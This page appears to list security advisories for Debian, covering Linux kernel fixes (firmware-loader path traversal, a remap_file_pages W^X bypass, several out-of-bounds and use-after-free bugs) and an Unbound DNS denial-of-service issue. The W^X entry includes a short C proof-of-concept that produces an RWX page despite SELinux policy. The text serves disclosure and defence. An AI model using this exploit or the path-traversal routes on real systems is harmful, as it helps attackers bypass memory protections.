Debian: >> Debian Linux Security Vulnerabilities
In the Linux kernel, the following vulnerability has been resolved:
firmware_loader: Block path traversal
Most firmware names are hardcoded strings, or are constructed from fairly
constrained format strings where the dynamic parts are just some hex
numbers or such.
However, there are a couple codepaths in the kernel where firmware file
names contain string components that are passed through from a device or
semi-privileged userspace; the ones I could find (not counting interfaces
that require root privileges) are:
- lpfc_sli4_request_firmware_update() seems to construct the firmware
filename from "ModelName", a string that was previously parsed out of
some descriptor ("Vital Product Data") in lpfc_fill_vpd()
- nfp_net_fw_find() seems to construct a firmware filename from a model
name coming from nfp_hwinfo_lookup(pf->hwinfo, "nffw.partno"), which I
think parses some descriptor that was read from the device.
(But this case likely isn't exploitable because the format string looks
like "netronome/nic_%s", and there shouldn't be any *folders* starting
with "netronome/nic_". The previous case was different because there,
the "%s" is *at the start* of the format string.)
- module_flash_fw_schedule() is reachable from the
ETHTOOL_MSG_MODULE_FW_FLASH_ACT netlink command, which is marked as
GENL_UNS_ADMIN_PERM (meaning CAP_NET_ADMIN inside a user namespace is
enough to pass the privilege check), and takes a userspace-provided
firmware name.
(But I think to reach this case, you need to have CAP_NET_ADMIN over a
network namespace that a special kind of ethernet device is mapped into,
so I think this is not a viable attack path in practice.)
Fix it by rejecting any firmware names containing ".." path components.
For what it's worth, I went looking and haven't found any USB device
drivers that use the firmware loader dangerously.

In the Linux kernel, the following vulnerability has been resolved:
mm: call the security_mmap_file() LSM hook in remap_file_pages()
The remap_file_pages syscall handler calls do_mmap() directly, which
doesn't contain the LSM security check. And if the process has called
personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for
RW pages, this will actually result in remapping the pages to RWX,
bypassing a W^X policy enforced by SELinux.
So we should check prot by security_mmap_file LSM hook in the
remap_file_pages syscall handler before do_mmap() is called. Otherwise, it
potentially permits an attacker to bypass a W^X policy enforced by
SELinux.
The bypass is similar to CVE-2016-10044, which bypass the same thing via
AIO and can be found in [1].
The PoC:
$ cat > test.c
int main(void) {
size_t pagesz = sysconf(_SC_PAGE_SIZE);
int mfd = syscall(SYS_memfd_create, "test", 0);
const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,
MAP_SHARED, mfd, 0);
unsigned int old = syscall(SYS_personality, 0xffffffff);
syscall(SYS_personality, READ_IMPLIES_EXEC | old);
syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);
syscall(SYS_personality, old);
// show the RWX page exists even if W^X policy is enforced
int fd = open("/proc/self/maps", O_RDONLY);
unsigned char buf2[1024];
while (1) {
int ret = read(fd, buf2, 1024);
if (ret <= 0) break;
write(1, buf2, ret);
}
close(fd);
}

In the Linux kernel, the following vulnerability has been resolved:
crypto: hisilicon/qm - inject error before stopping queue
The master ooo cannot be completely closed when the
accelerator core reports memory error. Therefore, the driver
needs to inject the qm error to close the master ooo. Currently,
the qm error is injected after stopping queue, memory may be
released immediately after stopping queue, causing the device to
access the released memory. Therefore, error is injected to close master
ooo before stopping queue to ensure that the device does not access
the released memory.

In the Linux kernel, the following vulnerability has been resolved:
drivers: media: dvb-frontends/rtl2830: fix an out-of-bounds write error
Ensure index in rtl2830_pid_filter does not exceed 31 to prevent
out-of-bounds access.
dev->filters is a 32-bit value, so set_bit and clear_bit functions should
only operate on indices from 0 to 31. If index is 32, it will attempt to
access a non-existent 33rd bit, leading to out-of-bounds access.
Change the boundary check from index > 32 to index >= 32 to resolve this
issue.

In the Linux kernel, the following vulnerability has been resolved:
drm/amd/display: Correct the defined value for AMDGPU_DMUB_NOTIFICATION_MAX
[Why & How]
It actually exposes '6' types in enum dmub_notification_type. Not 5. Using smaller
number to create array dmub_callback & dmub_thread_offload has potential to access
item out of array bound. Fix it.

NLnet Labs Unbound up to and including version 1.21.0 contains a vulnerability when handling replies with very large RRsets that it needs to perform name compression for. Malicious upstreams responses with very large RRsets can cause Unbound to spend a considerable time applying name compression to downstream replies. This can lead to degraded performance and eventually denial of service in well orchestrated attacks. The vulnerability can be exploited by a malicious actor querying Unbound for the specially crafted contents of a malicious zone with very large RRsets. Before Unbound replies to the query it will try to apply name compression which was an unbounded operation that could lock the CPU until the whole packet was complete. Unbound version 1.21.1 introduces a hard limit on the number of name compression calculations it is willing to do per packet. Packets that need more compression will result in semi-compressed packets or truncated packets, even on TCP for huge messages, to avoid locking the CPU for long. This change should not affect normal DNS traffic.
